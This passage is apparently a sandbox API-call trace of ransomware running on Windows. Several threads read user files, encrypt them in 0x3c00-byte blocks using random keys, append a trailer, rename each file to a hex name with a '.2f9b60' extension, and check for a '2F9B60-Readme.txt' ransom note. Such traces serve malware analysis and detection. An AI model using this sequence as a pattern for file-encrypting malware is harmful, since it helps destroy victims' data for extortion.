_Dest=0x1cd97faa, _Format="%c%c" | out: _Dest="07") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97fac, _Format="%c%c" | out: _Dest="e7") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97fae, _Format="%c%c" | out: _Dest="d6") returned 2 [0104.246] sprintf (in: _Dest=0x1cd97fb0, _Format="%c%c" | out: _Dest="34") returned 2 [0104.246] sprintf (in: _Dest=0x1cd97fb2, _Format="%c%c" | out: _Dest="e4") returned 2 [0104.246] sprintf (in: _Dest=0x1cd97fb4, _Format="%c%c" | out: _Dest="fa") returned 2 [0104.246] sprintf (in: _Dest=0x1cd97fb6, _Format="%c%c" | out: _Dest="e9") returned 2 [0104.246] sprintf (in: _Dest=0x1cd97fb8, _Format="%c%c" | out: _Dest="47") returned 2 [0104.246] sprintf (in: _Dest=0x1cd97fba, _Format="%c%c" | out: _Dest="07") returned 2 [0104.246] RtlInitAnsiString (in: DestinationString=0x2ee5f828, SourceString="d235ea9c990e8ec81cb9189ce49ea3179d99a04c5507e7d634e4fae94707" | out: DestinationString="d235ea9c990e8ec81cb9189ce49ea3179d99a04c5507e7d634e4fae94707") [0104.246] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ee5f7f8, SourceString="d235ea9c990e8ec81cb9189ce49ea3179d99a04c5507e7d634e4fae94707", AllocateDestinationString=1 | out: DestinationString="d235ea9c990e8ec81cb9189ce49ea3179d99a04c5507e7d634e4fae94707") returned 0x0 [0104.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x2050aec0 [0104.246] wcscat (in: _Dest=0x204ff730, _Source="d235ea9c990e8ec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d235ea9c990e8ec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d235ea9c990e8ec" [0104.246] wcscat (in: _Dest=0x204ff730, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d235ea9c990e8ec.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d235ea9c990e8ec.2f9b60" [0104.246] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d235ea9c990e8ec.2f9b60", NtPathName=0x2ee5f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d235ea9c990e8ec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x205023a0 [0104.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205023a0) returned 1 [0104.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42050ba0) returned 1 [0104.553] NtQueryInformationFile (in: FileHandle=0xacc, IoStatusBlock=0x2ee5f838, FileInformation=0x2ee5f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ee5f838, FileInformation=0x2ee5f848) returned 0x0 [0104.553] NtSetInformationFile (FileHandle=0xacc, IoStatusBlock=0x2ee5f838, FileInformation=0x2ee5f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff730) returned 1 [0104.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aec0) returned 1 [0104.565] FlushFileBuffers (hFile=0xacc) returned 1 [0104.570] CloseHandle (hObject=0xacc) returned 1 [0104.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a44a0 [0104.586] wcscpy (in: _Dest=0x202a44a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.586] wcscat (in: _Dest=0x202a44a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.586] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a44a0) returned 1 [0104.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5070) returned 1 Thread: id = 948 os_tid = 0x1578 [0101.245] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XlBcdUC.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xlbcduc.ods")) returned 0x2020 [0101.245] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XlBcdUC.ods", dwFileAttributes=0x20) returned 1 [0103.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XlBcdUC.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xlbcduc.ods"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17bc [0103.918] GetFileSizeEx (in: hFile=0x17bc, lpFileSize=0x2f9ffc20 | out: lpFileSize=0x2f9ffc20*=44431) returned 1 [0103.918] SetFilePointerEx (in: hFile=0x17bc, liDistanceToMove=0xad8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.918] ReadFile (in: hFile=0x17bc, lpBuffer=0x2f9ffba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x2f9ffba0*, lpNumberOfBytesRead=0x2f9ffbe8*=0x4, lpOverlapped=0x0) returned 1 [0103.919] SetFilePointerEx (in: hFile=0x17bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0103.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618e0 [0103.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0103.919] NtQuerySystemTime (in: CurrentTime=0x2f9ffae0 | out: CurrentTime=0x2f9ffae0*=132462177094102000) returned 0x0 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x78597ead [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x6c2c64f [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x42a29f0b [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x3f9fd886 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x76d70985 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x4be500ab [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x47914ab9 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x5ab21a41 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x18830374 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x1f7a2725 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x240e326c [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x535c578f [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x6aafe983 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x2a12aa88 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x7045ef67 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0xc9372f7 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x3f450653 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x76cd3b2e [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x2f3154a2 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x5bbd5cb2 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x51445820 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x7f07e977 [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x4c4cf38d [0103.920] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x2580a225 [0103.921] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x6e9d4249 [0103.921] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x7b0c09b9 [0103.921] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x635f4dc4 [0103.921] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x66b17e55 [0103.921] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0xa5a1c37 [0103.921] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x1759090f [0103.921] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x19b4209a [0103.921] RtlRandomEx (in: Seed=0x2f9ffad0 | out: Seed=0x2f9ffad0) returned 0x131907c5 [0103.930] SetFilePointerEx (in: hFile=0x17bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.930] ReadFile (in: hFile=0x17bc, lpBuffer=0x202c4d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f9ffb40, lpOverlapped=0x0 | out: lpBuffer=0x202c4d00*, lpNumberOfBytesRead=0x2f9ffb40*=0x3c00, lpOverlapped=0x0) returned 1 [0103.931] SetFilePointerEx (in: hFile=0x17bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0103.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0103.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c30) returned 1 [0103.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202e2d80 [0103.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0103.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0103.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617f0) returned 1 [0103.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0103.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.932] WriteFile (in: hFile=0x17bc, lpBuffer=0x202e2d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f9ffb40, lpOverlapped=0x0 | out: lpBuffer=0x202e2d80*, lpNumberOfBytesWritten=0x2f9ffb40*=0x3c00, lpOverlapped=0x0) returned 1 [0104.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202e2d80) returned 1 [0104.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c4d00) returned 1 [0104.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20262a80 [0104.131] SetFilePointerEx (in: hFile=0x17bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.132] WriteFile (in: hFile=0x17bc, lpBuffer=0x169c40*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2f9ffbf0, lpOverlapped=0x0 | out: lpBuffer=0x169c40*, lpNumberOfBytesWritten=0x2f9ffbf0*=0x108, lpOverlapped=0x0) returned 1 [0104.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f80 [0104.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0104.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0104.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260710) returned 1 [0104.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0104.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0104.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260740 [0104.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260740) returned 1 [0104.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0104.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0104.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f630 [0104.250] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="ca") returned 2 [0104.250] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="00") returned 2 [0104.250] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="16") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="11") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="b4") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="4f") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="9b") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="01") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="c8") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="03") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="86") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="b9") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="c9") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="db") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="38") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="da") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="f8") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="73") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="13") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="75") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="a0") returned 2 [0104.251] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="12") returned 2 [0104.251] RtlInitAnsiString (in: DestinationString=0x2f9ffc68, SourceString="ca001611b44f9b01c80386b9c9db38daf8731375a012" | out: DestinationString="ca001611b44f9b01c80386b9c9db38daf8731375a012") [0104.251] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f9ffc38, SourceString="ca001611b44f9b01c80386b9c9db38daf8731375a012", AllocateDestinationString=1 | out: DestinationString="ca001611b44f9b01c80386b9c9db38daf8731375a012") returned 0x0 [0104.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced5ef0 [0104.252] wcscat (in: _Dest=0x2050af50, _Source="ca001611b44" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ca001611b44") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ca001611b44" [0104.252] wcscat (in: _Dest=0x2050af50, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ca001611b44.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ca001611b44.2f9b60" [0104.252] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ca001611b44.2f9b60", NtPathName=0x2f9ffc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ca001611b44.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x20502500 [0104.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502500) returned 1 [0104.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42050740) returned 1 [0104.554] NtQueryInformationFile (in: FileHandle=0x17bc, IoStatusBlock=0x2f9ffc78, FileInformation=0x2f9ffc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f9ffc78, FileInformation=0x2f9ffc88) returned 0x0 [0104.554] NtSetInformationFile (FileHandle=0x17bc, IoStatusBlock=0x2f9ffc78, FileInformation=0x2f9ffc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050af50) returned 1 [0104.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5ef0) returned 1 [0104.574] FlushFileBuffers (hFile=0x17bc) returned 1 [0104.577] CloseHandle (hObject=0x17bc) returned 1 [0104.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5070 [0104.588] wcscpy (in: _Dest=0x202a5070, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.588] wcscat (in: _Dest=0x202a5070, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.588] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5070) returned 1 [0104.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 Thread: id = 949 os_tid = 0x157c [0101.246] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xqdkhzdgb.jpg")) returned 0x2020 [0101.246] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg", dwFileAttributes=0x20) returned 1 [0103.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xqdkhzdgb.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17b8 [0103.902] GetFileSizeEx (in: hFile=0x17b8, lpFileSize=0x2fc0f880 | out: lpFileSize=0x2fc0f880*=63888) returned 1 [0103.902] SetFilePointerEx (in: hFile=0x17b8, liDistanceToMove=0xf98c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.902] ReadFile (in: hFile=0x17b8, lpBuffer=0x2fc0f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fc0f848, lpOverlapped=0x0 | out: lpBuffer=0x2fc0f800*, lpNumberOfBytesRead=0x2fc0f848*=0x4, lpOverlapped=0x0) returned 1 [0103.903] SetFilePointerEx (in: hFile=0x17b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0103.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0103.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0103.904] NtQuerySystemTime (in: CurrentTime=0x2fc0f740 | out: CurrentTime=0x2fc0f740*=132462177093946000) returned 0x0 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x2381d7aa [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x7b534524 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x2381d7aa [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x359732d3 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x75f18b96 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0xb04fc13 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x1e9cd0fb [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x5c5e91c1 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x34c88296 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x177e0ee4 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x227d64a5 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x283d73e7 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x167eabf [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x67fb918 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x7da9a12d [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x6733265b [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x21f7d507 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x503c79bd [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x754cca24 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x5dcc0f84 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x59ae10a4 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x2935c145 [0103.904] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x168a9833 [0103.905] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x5bbf706e [0103.905] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x111cd46c [0103.905] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x563c3e79 [0103.905] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x584b31c6 [0103.905] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x4931cd78 [0103.905] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x25bb2e6a [0103.905] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x657d5ccb [0103.905] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x4702f10c [0103.905] RtlRandomEx (in: Seed=0x2fc0f730 | out: Seed=0x2fc0f730) returned 0x3b3c5357 [0103.916] SetFilePointerEx (in: hFile=0x17b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.916] ReadFile (in: hFile=0x17b8, lpBuffer=0x202cc520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2fc0f7a0, lpOverlapped=0x0 | out: lpBuffer=0x202cc520*, lpNumberOfBytesRead=0x2fc0f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.916] SetFilePointerEx (in: hFile=0x17b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0103.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0103.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622d0) returned 1 [0103.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202b5cc0 [0103.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0103.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0103.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c30) returned 1 [0103.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0103.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.917] WriteFile (in: hFile=0x17b8, lpBuffer=0x202b5cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2fc0f7a0, lpOverlapped=0x0 | out: lpBuffer=0x202b5cc0*, lpNumberOfBytesWritten=0x2fc0f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b5cc0) returned 1 [0104.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202cc520) returned 1 [0104.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85b3e0 [0104.125] SetFilePointerEx (in: hFile=0x17b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 